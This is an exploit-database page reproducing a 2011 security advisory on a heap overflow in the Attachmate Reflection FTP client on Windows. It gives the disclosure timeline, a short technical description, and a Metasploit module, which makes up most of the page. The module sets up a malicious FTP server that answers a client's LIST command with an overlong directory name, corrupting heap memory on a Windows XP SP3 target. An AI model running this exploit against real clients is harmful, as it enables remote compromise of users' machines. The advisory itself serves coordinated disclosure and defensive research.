Attachmate Reflection FTP Client Heap Overflow



EKU-ID: 1313 CVE: OSVDB-ID:
Author: Francis Provencher Published: 2011-11-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#####################################################################################
Application:   Attachmate Reflection FTP Client Heap Overflow
Platforms:   Windows
Exploitation:   Remote code execution
CVE Number: 
{PRL}:   2011-09
Author:   Francis Provencher (Protek Research Lab's)
Website:   http://www.protekresearchlab.com/
Twitter:   @ProtekResearch
#####################################################################################
1) Introduction
2) Timeline
3) Technical details
4) PoC
#####################################################################################

===============
1) Introduction
===============

Attachmate Corporation is a software company owned by an investment group led by Francisco Partners,
Golden Gate Capital, and Thoma Cressey Bravo. Attachmate focuses on terminal emulation, legacy modernization,
managed file transfer, and enterprise fraud management software. Attachmate Corporation is a principal holding
within The Attachmate Group. In addition to Attachmate Corporation, The Attachmate Group's other principal
holdings include NetIQ, Novell, and SUSE.

#####################################################################################
============================
2) Timeline
============================

2011-09-26 - Vulnerability reported to vendor
2011-11-16 - Coordinated public release of advisory

#####################################################################################
============================
3) Technical details
============================

The Reflection FTP client, didn't validate the maximum length of a directory when a LIST command is issuing.
An overly long directory name can overflow the heap and corrupt memory.


#####################################################################################

===========
4) The Code
===========


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::FtpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Attachmate Reflection FTP Client Heap Overflow (LIST)',
   'Description'    => %q{
     This module exploits an heap buffer overflow in Attachmate Reflection FTP Client,
    triggered when processing the response on a LIST command.
   },
   'Author'   =>
    [
     'Francis Provencher',  
    ],
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 12196 $",
   'References'     =>
    [
     [ 'URL', 'http://www.protekresearchlab.com/' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'XP SP3 Universal', { 'Offset' => 300, } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'November 16 2011',
   'DefaultTarget'  => 0))

 end

 def setup
  super
 end

 def on_client_unknown_command(c,cmd,arg)
  c.put("200 OK\r\n")
 end

 def on_client_command_list(c,arg)

  conn = establish_data_connection(c)
  if(not conn)
   c.put("425 Can't build data connection\r\n")
   return
  end
  print_status(" - Data connection set up")
  code = 150
  c.put("#{code} Here comes the directory listing.\r\n")
  code = 226
  c.put("#{code} Directory send ok.\r\n")

  filename = "A" * 296

  junk = "DCBA"

  buffer = filename + junk
  print_status(" - Sending directory list via data connection")
  dirlist = "-rw-rw-r--    1 1176     1176         1060 sep 27 22:22 #{buffer}\r\n"
  conn.put(dirlist)
  conn.close
  print_status(" Movzx eax, byte ptr edx ds:0023:41424344  ...")
  return

 end

end